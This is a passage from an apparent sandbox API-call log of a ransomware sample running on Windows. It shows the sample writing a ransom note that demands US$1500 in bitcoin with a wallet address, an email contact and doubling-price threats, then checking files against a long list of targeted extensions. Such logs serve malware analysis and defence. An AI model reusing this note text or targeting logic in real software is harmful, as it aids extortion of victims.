(lpFileName="C:\\Boot\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0057.195] CreateFileA (lpFileName="C:\\Boot\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x84 [0057.198] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0057.198] WriteFile (in: hFile=0x84, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0057.199] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.199] CloseHandle (hObject=0x84) returned 1 [0057.199] lstrcatA (in: lpString1="C:\\Boot\\en-US\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\en-US\\bootmgr.exe.mui") returned="C:\\Boot\\en-US\\bootmgr.exe.mui" [0057.199] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.ems") returned 0 [0057.200] lstrlenA (lpString="*.ems") returned 5 [0057.200] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.db") returned 0 [0057.200] lstrlenA (lpString="*.db") returned 4 [0057.200] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.dbf") returned 0 [0057.200] lstrlenA (lpString="*.dbf") returned 5 [0057.200] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.myox") returned 0 [0057.200] lstrlenA (lpString="*.myox") returned 6 [0057.200] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.myo") returned 0 [0057.200] lstrlenA (lpString="*.myo") returned 5 [0057.200] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.qbw") returned 0 [0057.200] lstrlenA (lpString="*.qbw") returned 5 [0057.200] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.qbb") returned 0 [0057.200] lstrlenA (lpString="*.qbb") returned 5 [0057.200] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.qbm") returned 0 [0057.200] lstrlenA (lpString="*.qbm") returned 5 [0057.200] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.qbo") returned 0 [0057.200] lstrlenA (lpString="*.qbo") returned 5 [0057.200] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.qbx") returned 0 [0057.200] lstrlenA (lpString="*.qbx") returned 5 [0057.200] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.qba") returned 0 [0057.200] lstrlenA (lpString="*.qba") returned 5 [0057.200] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.qby") returned 0 [0057.200] lstrlenA (lpString="*.qby") returned 5 [0057.200] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.qbj") returned 0 [0057.200] lstrlenA (lpString="*.qbj") returned 5 [0057.201] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.ofx") returned 0 [0057.201] lstrlenA (lpString="*.ofx") returned 5 [0057.201] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.qif") returned 0 [0057.201] lstrlenA (lpString="*.qif") returned 5 [0057.201] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.mye") returned 0 [0057.201] lstrlenA (lpString="*.mye") returned 5 [0057.201] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.mbox") returned 0 [0057.201] lstrlenA (lpString="*.mbox") returned 6 [0057.201] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.201] lstrlenA (lpString="*.eml") returned 5 [0057.201] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.pst") returned 0 [0057.201] lstrlenA (lpString="*.pst") returned 5 [0057.201] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.ost") returned 0 [0057.201] lstrlenA (lpString="*.ost") returned 5 [0057.201] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.idx") returned 0 [0057.201] lstrlenA (lpString="*.idx") returned 5 [0057.201] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.dbx") returned 0 [0057.202] lstrlenA (lpString="*.dbx") returned 5 [0057.202] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.sql") returned 0 [0057.202] lstrlenA (lpString="*.sql") returned 5 [0057.202] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.mdb") returned 0 [0057.202] lstrlenA (lpString="*.mdb") returned 5 [0057.202] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.fdb") returned 0 [0057.202] lstrlenA (lpString="*.fdb") returned 5 [0057.202] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.wab") returned 0 [0057.202] lstrlenA (lpString="*.wab") returned 5 [0057.202] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.dat") returned 0 [0057.202] lstrlenA (lpString="*.dat") returned 5 [0057.202] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.txt") returned 0 [0057.202] lstrlenA (lpString="*.txt") returned 5 [0057.203] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.jpeg") returned 0 [0057.203] lstrlenA (lpString="*.jpeg") returned 6 [0057.203] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.jpg") returned 0 [0057.203] lstrlenA (lpString="*.jpg") returned 5 [0057.203] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.png") returned 0 [0057.203] lstrlenA (lpString="*.png") returned 5 [0057.203] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.php") returned 0 [0057.203] lstrlenA (lpString="*.php") returned 5 [0057.203] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.cs") returned 0 [0057.203] lstrlenA (lpString="*.cs") returned 4 [0057.203] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.cpp") returned 0 [0057.203] lstrlenA (lpString="*.cpp") returned 5 [0057.203] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.rar") returned 0 [0057.203] lstrlenA (lpString="*.rar") returned 5 [0057.203] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.zip") returned 0 [0057.203] lstrlenA (lpString="*.zip") returned 5 [0057.203] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.html") returned 0 [0057.203] lstrlenA (lpString="*.html") returned 6 [0057.203] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.htm") returned 0 [0057.203] lstrlenA (lpString="*.htm") returned 5 [0057.203] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.xlsx") returned 0 [0057.203] lstrlenA (lpString="*.xlsx") returned 6 [0057.203] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.xls") returned 0 [0057.203] lstrlenA (lpString="*.xls") returned 5 [0057.203] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.mp4") returned 0 [0057.204] lstrlenA (lpString="*.mp4") returned 5 [0057.204] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.ppt") returned 0 [0057.204] lstrlenA (lpString="*.ppt") returned 5 [0057.204] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.pptx") returned 0 [0057.204] lstrlenA (lpString="*.pptx") returned 6 [0057.204] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.doc") returned 0 [0057.204] lstrlenA (lpString="*.doc") returned 5 [0057.204] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.dot") returned 0 [0057.204] lstrlenA (lpString="*.dot") returned 5 [0057.204] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.docx") returned 0 [0057.204] lstrlenA (lpString="*.docx") returned 6 [0057.204] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.7z") returned 0 [0057.204] lstrlenA (lpString="*.7z") returned 4 [0057.204] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.tar") returned 0 [0057.204] lstrlenA (lpString="*.tar") returned 5 [0057.204] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.bz2") returned 0 [0057.204] lstrlenA (lpString="*.bz2") returned 5 [0057.205] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.gz") returned 0 [0057.205] lstrlenA (lpString="*.gz") returned 4 [0057.205] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.mkv") returned 0 [0057.205] lstrlenA (lpString="*.mkv") returned 5 [0057.205] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.205] lstrlenA (lpString="*.eml") returned 5 [0057.205] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.msg") returned 0 [0057.205] lstrlenA (lpString="*.msg") returned 5 [0057.205] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.edb") returned 0 [0057.205] lstrlenA (lpString="*.edb") returned 5 [0057.205] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.accdb") returned 0 [0057.205] lstrlenA (lpString="*.accdb") returned 7 [0057.205] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.odb") returned 0 [0057.205] lstrlenA (lpString="*.odb") returned 5 [0057.205] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.java") returned 0 [0057.205] lstrlenA (lpString="*.java") returned 6 [0057.205] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.asm") returned 0 [0057.205] lstrlenA (lpString="*.asm") returned 5 [0057.205] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.pfx") returned 0 [0057.206] lstrlenA (lpString="*.pfx") returned 5 [0057.206] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.pem") returned 0 [0057.206] lstrlenA (lpString="*.pem") returned 5 [0057.206] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.p12") returned 0 [0057.206] lstrlenA (lpString="*.p12") returned 5 [0057.206] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.gpg") returned 0 [0057.206] lstrlenA (lpString="*.gpg") returned 5 [0057.206] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.vsd") returned 0 [0057.206] lstrlenA (lpString="*.vsd") returned 5 [0057.206] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.odg") returned 0 [0057.206] lstrlenA (lpString="*.odg") returned 5 [0057.206] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.raw") returned 0 [0057.206] lstrlenA (lpString="*.raw") returned 5 [0057.206] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.nef") returned 0 [0057.206] lstrlenA (lpString="*.nef") returned 5 [0057.206] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.svg") returned 0 [0057.206] lstrlenA (lpString="*.svg") returned 5 [0057.206] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.psd") returned 0 [0057.206] lstrlenA (lpString="*.psd") returned 5 [0057.206] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.vmx") returned 0 [0057.206] lstrlenA (lpString="*.vmx") returned 5 [0057.206] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.vmdk") returned 0 [0057.206] lstrlenA (lpString="*.vmdk") returned 6 [0057.206] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.vdi") returned 0 [0057.206] lstrlenA (lpString="*.vdi") returned 5 [0057.207] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.lay6") returned 0 [0057.207] lstrlenA (lpString="*.lay6") returned 6 [0057.207] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.mpeg") returned 0 [0057.207] lstrlenA (lpString="*.mpeg") returned 6 [0057.207] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.djvu") returned 0 [0057.207] lstrlenA (lpString="*.djvu") returned 6 [0057.207] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.tiff") returned 0 [0057.207] lstrlenA (lpString="*.tiff") returned 6 [0057.207] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.backup") returned 0 [0057.207] lstrlenA (lpString="*.backup") returned 8 [0057.207] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.pdf") returned 0 [0057.207] lstrlenA (lpString="*.pdf") returned 5 [0057.207] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.cert") returned 0 [0057.207] lstrlenA (lpString="*.cert") returned 6 [0057.207] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.docm") returned 0 [0057.207] lstrlenA (lpString="*.docm") returned 6 [0057.207] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.xlsm") returned 0 [0057.207] lstrlenA (lpString="*.xlsm") returned 6 [0057.207] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.dwg") returned 0 [0057.207] lstrlenA (lpString="*.dwg") returned 5 [0057.207] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.nd") returned 0 [0057.207] lstrlenA (lpString="*.nd") returned 4 [0057.207] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.tlg") returned 0 [0057.207] lstrlenA (lpString="*.tlg") returned 5 [0057.207] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.lgb") returned 0 [0057.208] lstrlenA (lpString="*.lgb") returned 5 [0057.208] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.mov") returned 0 [0057.208] lstrlenA (lpString="*.mov") returned 5 [0057.208] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.xdw") returned 0 [0057.208] lstrlenA (lpString="*.xdw") returned 5 [0057.208] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.ods") returned 0 [0057.208] lstrlenA (lpString="*.ods") returned 5 [0057.208] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.wav") returned 0 [0057.208] lstrlenA (lpString="*.wav") returned 5 [0057.208] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.mp3") returned 0 [0057.208] lstrlenA (lpString="*.mp3") returned 5 [0057.208] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.aiff") returned 0 [0057.208] lstrlenA (lpString="*.aiff") returned 6 [0057.208] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.flac") returned 0 [0057.208] lstrlenA (lpString="*.flac") returned 6 [0057.208] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.m4a") returned 0 [0057.208] lstrlenA (lpString="*.m4a") returned 5 [0057.208] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\bootmgr.exe.mui", pszSpec="*.csv") returned 0 [0057.208] lstrlenA (lpString="*.csv") returned 5 [0057.208] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x4f8360, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0057.208] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0057.209] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="memtest.exe.mui") returned -1 [0057.209] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="memtest.exe.mui") returned -1 [0057.209] lstrcmpiA (lpString1="", lpString2="memtest.exe.mui") returned -1 [0057.209] PathFindFileNameA (pszPath="C:\\Boot\\en-US\\bootmgr.exe.mui") returned="bootmgr.exe.mui" [0057.209] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Boot\\en-US\\" | out: lpString1="C:\\Boot\\en-US\\") returned="C:\\Boot\\en-US\\" [0057.209] PathAddBackslashA (in: pszPath="C:\\Boot\\en-US\\" | out: pszPath="C:\\Boot\\en-US\\") returned="" [0057.209] lstrcatA (in: lpString1="C:\\Boot\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Boot\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Boot\\en-US\\HOW TO DECRYPT FILES.txt" [0057.209] GetFileAttributesA (lpFileName="C:\\Boot\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\en-us\\how to decrypt files.txt")) returned 0x20 [0057.209] lstrcatA (in: lpString1="C:\\Boot\\en-US\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\en-US\\memtest.exe.mui") returned="C:\\Boot\\en-US\\memtest.exe.mui" [0057.209] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.ems") returned 0 [0057.209] lstrlenA (lpString="*.ems") returned 5 [0057.209] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.db") returned 0 [0057.209] lstrlenA (lpString="*.db") returned 4 [0057.209] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.dbf") returned 0 [0057.210] lstrlenA (lpString="*.dbf") returned 5 [0057.210] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.myox") returned 0 [0057.210] lstrlenA (lpString="*.myox") returned 6 [0057.210] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.myo") returned 0 [0057.210] lstrlenA (lpString="*.myo") returned 5 [0057.210] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.qbw") returned 0 [0057.210] lstrlenA (lpString="*.qbw") returned 5 [0057.210] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.qbb") returned 0 [0057.210] lstrlenA (lpString="*.qbb") returned 5 [0057.210] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.qbm") returned 0 [0057.210] lstrlenA (lpString="*.qbm") returned 5 [0057.210] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.qbo") returned 0 [0057.210] lstrlenA (lpString="*.qbo") returned 5 [0057.210] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.qbx") returned 0 [0057.210] lstrlenA (lpString="*.qbx") returned 5 [0057.210] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.qba") returned 0 [0057.210] lstrlenA (lpString="*.qba") returned 5 [0057.210] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.qby") returned 0 [0057.210] lstrlenA (lpString="*.qby") returned 5 [0057.210] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.qbj") returned 0 [0057.210] lstrlenA (lpString="*.qbj") returned 5 [0057.211] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.ofx") returned 0 [0057.211] lstrlenA (lpString="*.ofx") returned 5 [0057.211] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.qif") returned 0 [0057.211] lstrlenA (lpString="*.qif") returned 5 [0057.211] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.mye") returned 0 [0057.211] lstrlenA (lpString="*.mye") returned 5 [0057.211] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.mbox") returned 0 [0057.211] lstrlenA (lpString="*.mbox") returned 6 [0057.211] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.eml") returned 0 [0057.211] lstrlenA (lpString="*.eml") returned 5 [0057.211] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.pst") returned 0 [0057.211] lstrlenA (lpString="*.pst") returned 5 [0057.211] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.ost") returned 0 [0057.211] lstrlenA (lpString="*.ost") returned 5 [0057.211] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.idx") returned 0 [0057.211] lstrlenA (lpString="*.idx") returned 5 [0057.211] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.dbx") returned 0 [0057.211] lstrlenA (lpString="*.dbx") returned 5 [0057.211] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.sql") returned 0 [0057.211] lstrlenA (lpString="*.sql") returned 5 [0057.211] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.mdb") returned 0 [0057.211] lstrlenA (lpString="*.mdb") returned 5 [0057.212] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.fdb") returned 0 [0057.212] lstrlenA (lpString="*.fdb") returned 5 [0057.212] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.wab") returned 0 [0057.212] lstrlenA (lpString="*.wab") returned 5 [0057.212] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.dat") returned 0 [0057.212] lstrlenA (lpString="*.dat") returned 5 [0057.212] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.txt") returned 0 [0057.212] lstrlenA (lpString="*.txt") returned 5 [0057.212] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.jpeg") returned 0 [0057.212] lstrlenA (lpString="*.jpeg") returned 6 [0057.212] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.jpg") returned 0 [0057.212] lstrlenA (lpString="*.jpg") returned 5 [0057.212] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.png") returned 0 [0057.212] lstrlenA (lpString="*.png") returned 5 [0057.212] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.php") returned 0 [0057.212] lstrlenA (lpString="*.php") returned 5 [0057.212] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.cs") returned 0 [0057.212] lstrlenA (lpString="*.cs") returned 4 [0057.212] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.cpp") returned 0 [0057.212] lstrlenA (lpString="*.cpp") returned 5 [0057.212] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.rar") returned 0 [0057.213] lstrlenA (lpString="*.rar") returned 5 [0057.213] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.zip") returned 0 [0057.213] lstrlenA (lpString="*.zip") returned 5 [0057.213] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.html") returned 0 [0057.213] lstrlenA (lpString="*.html") returned 6 [0057.213] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.htm") returned 0 [0057.213] lstrlenA (lpString="*.htm") returned 5 [0057.213] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.xlsx") returned 0 [0057.213] lstrlenA (lpString="*.xlsx") returned 6 [0057.213] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.xls") returned 0 [0057.213] lstrlenA (lpString="*.xls") returned 5 [0057.213] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.mp4") returned 0 [0057.213] lstrlenA (lpString="*.mp4") returned 5 [0057.213] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.ppt") returned 0 [0057.213] lstrlenA (lpString="*.ppt") returned 5 [0057.213] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.pptx") returned 0 [0057.213] lstrlenA (lpString="*.pptx") returned 6 [0057.213] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.doc") returned 0 [0057.213] lstrlenA (lpString="*.doc") returned 5 [0057.213] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.dot") returned 0 [0057.213] lstrlenA (lpString="*.dot") returned 5 [0057.214] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.docx") returned 0 [0057.214] lstrlenA (lpString="*.docx") returned 6 [0057.214] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.7z") returned 0 [0057.214] lstrlenA (lpString="*.7z") returned 4 [0057.214] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.tar") returned 0 [0057.214] lstrlenA (lpString="*.tar") returned 5 [0057.214] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", pszSpec="*.bz2") returned 0 [0057.214] lstrlenA (lpString="*.bz2") returned 5 [0057.214] PathMatchSpecA (pszFile="C:\\Boot\\en-US\\memtest.exe.mui", 